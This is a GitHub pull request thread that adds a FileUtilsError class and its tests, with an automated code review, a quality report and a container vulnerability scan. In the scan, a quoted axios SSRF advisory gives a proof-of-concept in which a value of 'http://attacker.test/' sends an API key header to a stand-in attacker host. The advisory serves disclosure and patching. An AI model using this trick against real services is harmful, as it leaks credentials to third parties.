Implement FileUtilsError class with unit tests

[anatolyshipitz]

• Added FileUtilsError.ts to define a custom error class for file-related operations, including optional cause handling.
• Created FileUtilsError.test.ts to validate the functionality of the FileUtilsError class, ensuring proper message, name, and cause assignment.

These additions enhance error handling for file operations and improve test coverage for error management.

[coderabbitai]

📝 Walkthrough

Walkthrough

A new custom error class, FileUtilsError, is introduced to encapsulate file utility-related errors with optional cause tracking. The class is exported and re-exported via the errors index. A dedicated test suite is added to validate its instantiation, property assignments, and cause handling.

Changes

File(s)	Change Summary
workers/main/src/common/errors/FileUtilsError.ts	Added FileUtilsError class extending Error, with optional cause property and custom name.
workers/main/src/common/errors/FileUtilsError.test.ts	Introduced unit tests for FileUtilsError covering message, name, and cause property handling.
workers/main/src/common/errors/index.ts	Added re-export for FileUtilsError to the errors index module.

Sequence Diagram(s)

sequenceDiagram
    participant Caller
    participant FileUtilsError

    Caller->>FileUtilsError: new FileUtilsError(message, cause?)
    FileUtilsError-->>Caller: Instance with message, name, and optional cause

Loading

---

📜 Recent review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 3d7fe8e and e4b3e2c.

📒 Files selected for processing (3)

• workers/main/src/common/errors/FileUtilsError.test.ts (1 hunks)
• workers/main/src/common/errors/FileUtilsError.ts (1 hunks)
• workers/main/src/common/errors/index.ts (1 hunks)

🧰 Additional context used

🧬 Code Graph Analysis (1)

workers/main/src/common/errors/FileUtilsError.test.ts (1)

workers/main/src/common/errors/FileUtilsError.ts (1)

• FileUtilsError (1-9)

⏰ Context from checks skipped due to timeout of 90000ms (6)

• GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
• GitHub Check: Docker Security Scanning (temporal, Dockerfile.temporal, temporal-test:latest)
• GitHub Check: Service Availability Check
• GitHub Check: SonarQube
• GitHub Check: Analyze (javascript-typescript)
• GitHub Check: Analyze (actions)

🔇 Additional comments (3)

workers/main/src/common/errors/index.ts (1)

1-1: LGTM! Standard re-export pattern.

The re-export follows standard TypeScript module patterns and allows clean imports from the errors module.

workers/main/src/common/errors/FileUtilsError.ts (1)

1-9:

Details

❓ Verification inconclusive

Well-implemented custom error class with one consideration.

The implementation follows best practices for custom error classes. The explicit name assignment and optional cause parameter provide good error context.

Note: Modern JavaScript (ES2022) includes a native cause property on Error. Consider whether this custom implementation might conflict with the native property in environments that support it.

---

🏁 Script executed:

#!/bin/bash
# Check if the project targets ES2022+ which includes native Error.cause
fd -e json -e ts -e js . | xargs grep -l "target\|lib" | head -5

Length of output: 124

---

#!/bin/bash
# Inspect TS compilation target and lib settings
grep -R '"target"' workers/main/tsconfig.json -n
grep -R '"lib"' workers/main/tsconfig.json -n

---

#!/bin/bash
# Check TS config for target and lib to determine native Error.cause support
grep -R '"target"' workers/main/tsconfig.json -n
grep -R '"lib"' workers/main/tsconfig.json -n

---

#!/bin/bash
# Extract TS target and lib settings to determine native Error.cause support
jq '.compilerOptions.target, .compilerOptions.lib' workers/main/tsconfig.json

---

Approve FileUtilsError – verify native cause support

The custom error class is well-structured. Before finalizing, ensure your build target and included libs support the ES2022 Error.cause option so there’s no collision with the native property.

• File affected: workers/main/src/common/errors/FileUtilsError.ts
• Recommended check: Confirm in tsconfig.json that compilerOptions.target is at least "ES2022" (or that "es2022.error" is present in compilerOptions.lib).

If you do target ES2022+, consider switching to the standard API:

export class FileUtilsError extends Error {
  constructor(message: string, options?: { cause?: unknown }) {
    super(message, options);
    this.name = 'FileUtilsError';
  }
}

Otherwise, your current approach is safe.

workers/main/src/common/errors/FileUtilsError.test.ts (1)

1-25: Excellent test coverage for the FileUtilsError class.

The test suite comprehensively covers all aspects of the FileUtilsError functionality:

• Basic message and name assignment
• Cause property when provided
• Cause property when not provided

The test structure is clean and uses appropriate vitest assertions.

✨ Finishing Touches

• 📝 Generate Docstrings

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

• Review comments: Directly reply to a review comment made by CodeRabbit. Example:
  • I pushed a fix in commit <commit_id>, please review it.
  • Explain this complex logic.
  • Open a follow-up GitHub issue for this discussion.
• Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
  • @coderabbitai explain this code block.
  • @coderabbitai modularize this function.
• PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
  • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
  • @coderabbitai read src/utils.ts and explain its main purpose.
  • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
  • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

• @coderabbitai pause to pause the reviews on a PR.
• @coderabbitai resume to resume the paused reviews.
• @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
• @coderabbitai full review to do a full review from scratch and review all the files again.
• @coderabbitai summary to regenerate the summary of the PR.
• @coderabbitai generate docstrings to generate docstrings for this PR.
• @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
• @coderabbitai resolve resolve all the CodeRabbit review comments.
• @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
• @coderabbitai help to get help.

Other keywords and placeholders

• Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
• Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
• Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

• You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
• Please see the configuration documentation for more information.
• If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

• Visit our Documentation for detailed information on how to use CodeRabbit.
• Join our Discord Community to get help, request features, and share feedback.
• Follow us on X/Twitter for updates and announcements.

[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
80.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[github-actions]

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest

digest	sha256:0000744a6ff423d48be1588245da64290d65bcc75804e5b6938c25038dcadee9
vulnerabilities
platform	linux/amd64
size	243 MB
packages	1628

📦 Base Image node:20-alpine

also known as	20-alpine3.21 20.19-alpine 20.19-alpine3.21 20.19.0-alpine 20.19.0-alpine3.21 iron-alpine iron-alpine3.21
digest	sha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilities

samlify 2.9.0 (npm) pkg:npm/samlify@2.9.0 Improper Verification of Cryptographic Signature Affected range <2.10.0 Fixed version 2.10.0 CVSS Score 9.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.023% EPSS Percentile 5th percentile Description A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user. An attacker would need a signed XML document by the identity provider.

stdlib 1.24.0 (golang) pkg:golang/stdlib@1.24.0 Affected range >=1.24.0-0 <1.24.2 Fixed version 1.24.2 EPSS Score 0.018% EPSS Percentile 3rd percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

semver 5.3.0 (npm) pkg:npm/semver@5.3.0 Inefficient Regular Expression Complexity Affected range <5.7.2 Fixed version 5.7.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.308% EPSS Percentile 54th percentile Description Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

tar-fs 2.1.2 (npm) pkg:npm/tar-fs@2.1.2 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range >=2.0.0 <2.1.3 Fixed version 2.1.3 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N EPSS Score 0.063% EPSS Percentile 20th percentile Description Impact v3.0.8, v2.1.2, v1.16.4 and below Patches Has been patched in 3.0.9, 2.1.3, and 1.16.5 Workarounds You can use the ignore option to ignore non files/directories. ignore (_, header) { // pass files & directories, ignore e.g. symlinks return header.type !== 'file' && header.type !== 'directory' } Credit Thank you Caleb Brown from Google Open Source Security Team for reporting this in detail.

axios 1.7.4 (npm) pkg:npm/axios@1.7.4 Server-Side Request Forgery (SSRF) Affected range >=1.0.0 <1.8.2 Fixed version 1.8.2 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.021% EPSS Percentile 4th percentile Description Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers. It is recommended that: When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL. PoC Follow the steps below to reproduce the issue: Set up two simple HTTP servers: mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); Run the script: $ node main.js this is server2 Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/. Impact Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

cross-spawn 7.0.3 (npm) pkg:npm/cross-spawn@7.0.3 Inefficient Regular Expression Complexity Affected range >=7.0.0 <7.0.5 Fixed version 7.0.5 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P EPSS Score 0.151% EPSS Percentile 37th percentile Description Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

pdfjs-dist 2.16.105 (npm) pkg:npm/pdfjs-dist@2.16.105 Improper Check for Unusual or Exceptional Conditions Affected range <=4.1.392 Fixed version 4.2.67 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 12.421% EPSS Percentile 94th percentile Description Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain. Patches The patch removes the use of eval: mozilla/pdf.js#18015 Workarounds Set the option isEvalSupported to false. References https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

multer 1.4.5-lts.2 (npm) pkg:npm/multer@1.4.5-lts.2 Missing Release of Memory after Effective Lifetime Affected range <2.0.0 Fixed version 2.0.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.049% EPSS Percentile 15th percentile Description Impact Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance. This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted. Patches Users should upgrade to 2.0.0 Workarounds None References fix: MEMORY LEAK expressjs/multer#1120 expressjs/multer@2c8505f

[killev]

Looks great